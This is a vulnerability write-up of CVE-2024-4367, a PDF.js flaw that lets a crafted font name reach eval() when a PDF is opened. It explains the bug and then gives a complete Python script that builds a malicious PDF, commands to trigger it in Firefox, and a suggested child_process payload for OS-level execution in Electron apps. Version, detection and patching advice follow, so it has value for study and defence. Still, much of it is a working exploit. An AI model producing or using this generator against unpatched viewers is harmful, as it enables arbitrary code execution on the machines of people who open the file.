PDF.js fails to validate the type of a font name property.
Pass a JavaScript expression instead of a string — it gets
eval()'d in the renderer's context.
Open a PDF → execute arbitrary JS in Firefox, Thunderbird,
VS Code, and every app that embeds PDF.js.
No click required beyond opening the file.
What is this?
PDF.js is a JavaScript library that renders PDF files in the browser. Mozilla built it — it's what Firefox uses when you open a PDF. Thousands of apps (Thunderbird, VS Code, Obsidian, many Electron apps) also embed it.
The vulnerability: a malicious PDF can make PDF.js execute arbitrary JavaScript the moment someone opens it. No plugin, no macro, no warning dialog. Just: open PDF → attacker's code runs.
Type confusion happens when code expects one data type (like a string "Arial") but gets another (like an object or expression) and uses it without checking. The code trusts the input, does something with it — and the attacker controls what that "something" is.
The Bug
PDF files can embed fonts. Each font has a name.
PDF.js processes these names and, in specific code paths,
passes the name through JavaScript's eval()
without first checking that it's actually a plain string.
The vulnerable code path is in the Type 1 and Type 1C font parsing.
A crafted font descriptor with a specially constructed name value
reaches an eval() call in the font initialization code.
PDF.js generates JavaScript code dynamically to handle font rendering.
Some font metrics and transformations are compiled into JS functions at runtime.
The name property ends up being interpolated into this generated code —
which then gets eval()'d. The flaw is not checking
that the name is safe before interpolation.
Exploitation Chain
BaseFont (or related name field) to a value
that contains JavaScript — for example:
a}));alert(document.domain);//.
resource://pdf.js context (limited).
In Electron apps (VS Code, Obsidian): file:// context
with access to Node.js APIs → full filesystem and process access.
contextIsolation or
with nodeIntegration: true, the injected JS can call
Node APIs: require('child_process').exec('calc.exe').
This is OS-level code execution triggered by opening a PDF.
Proof of Concept
Generating the malicious PDF and verifying execution:
#!/usr/bin/env python3
"""
CVE-2024-4367 — PDF.js arbitrary JS via font name
Generates a PDF that triggers alert() when opened in a vulnerable viewer.
"""
import struct
# JavaScript payload injected into the font name field.
# This gets eval()'d by PDF.js during font parsing.
# Replace with your actual payload for testing.
JS_PAYLOAD = "alert('CVE-2024-4367: JS executed — ' + document.URL)"
# The injection closes the surrounding string context and injects JS.
# Exact syntax depends on the PDF.js version's code generation template.
FONT_NAME = f"a}}));{JS_PAYLOAD};//"
def make_pdf(payload_font_name: str) -> bytes:
"""Minimal PDF with a crafted font name."""
objects = []
# Object 1: Catalog
objects.append(b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n")
# Object 2: Pages
objects.append(b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n")
# Object 3: Page with font reference
objects.append(
b"3 0 obj\n"
b"<< /Type /Page /Parent 2 0 R\n"
b" /MediaBox [0 0 612 792]\n"
b" /Resources << /Font << /F1 4 0 R >> >>\n"
b" /Contents 5 0 R\n"
b">>\nendobj\n"
)
# Object 4: Font with malicious BaseFont name
font_name_bytes = payload_font_name.encode("latin-1")
objects.append(
b"4 0 obj\n"
b"<< /Type /Font /Subtype /Type1\n"
b" /BaseFont /" + font_name_bytes + b"\n"
b">>\nendobj\n"
)
# Object 5: Content stream (just draws the font to trigger parsing)
content = b"BT /F1 12 Tf 100 700 Td (trigger) Tj ET"
objects.append(
b"5 0 obj\n"
b"<< /Length " + str(len(content)).encode() + b" >>\n"
b"stream\n" + content + b"\nendstream\nendobj\n"
)
# Assemble PDF
header = b"%PDF-1.4\n"
body = header
offsets = []
for obj in objects:
offsets.append(len(body))
body += obj
# Cross-reference table
xref_offset = len(body)
xref = f"xref\n0 {len(objects)+1}\n0000000000 65535 f \n"
for off in offsets:
xref += f"{off:010d} 00000 n \n"
trailer = (
f"trailer\n<< /Size {len(objects)+1} /Root 1 0 R >>\n"
f"startxref\n{xref_offset}\n%%EOF\n"
)
return body + xref.encode() + trailer.encode()
pdf_bytes = make_pdf(FONT_NAME)
with open("/tmp/cve_2024_4367_poc.pdf", "wb") as f:
f.write(pdf_bytes)
print(f"[+] Generated: /tmp/cve_2024_4367_poc.pdf ({len(pdf_bytes)} bytes)")
print(f"[+] Open with Firefox < 126 or any unpatched PDF.js viewer to trigger.")
print(f"[+] Expected: alert dialog with current URL.")
# Generate the PoC PDF
python3 generate_poc.py
# Verify your Firefox version (vulnerable if < 126)
firefox --version
# Open the PDF — alert should fire immediately
firefox /tmp/cve_2024_4367_poc.pdf
# Check VS Code's embedded PDF viewer version
# (Help → About → look for pdf.js in bundled deps)
In Electron apps without Node integration restrictions,
replace the alert() payload with
require('child_process').execSync('id > /tmp/pwned')
to demonstrate OS-level code execution.
Test only on systems you own.
Affected Applications
| Application | Vulnerable version | Impact | Patched in |
|---|---|---|---|
| Firefox | < 126 | JS in pdf.js context | Firefox 126 |
| Thunderbird | < 115.11 | JS in mail viewer context | Thunderbird 115.11 |
| VS Code | depends on pdf.js version | Node.js access if nodeIntegration | check pdf.js bundle version |
| Any Electron app | embedding pdf.js < 4.2.67 | varies by sandbox config | update pdf.js dependency |
Detection
# Check Firefox version
firefox --version # must be >= 126
# Check PDF.js library version directly
# In Node.js projects:
cat node_modules/pdfjs-dist/package.json | grep '"version"'
# must be >= 4.2.67
# Scan for vulnerable apps embedding pdfjs-dist
find / -name "pdf.worker.js" 2>/dev/null | xargs grep -l "pdfjs"
Mitigation
Update Firefox to 126+ and Thunderbird to 115.11+. For applications using PDF.js as a dependency:
# In a Node.js project
npm install pdfjs-dist@latest # must be >= 4.2.67
npm audit # check for known vulns in deps
References
Codean Labs original research
NVD — CVE-2024-4367
Mozilla security advisory
Research conducted on isolated lab infrastructure. No third-party systems targeted without authorization.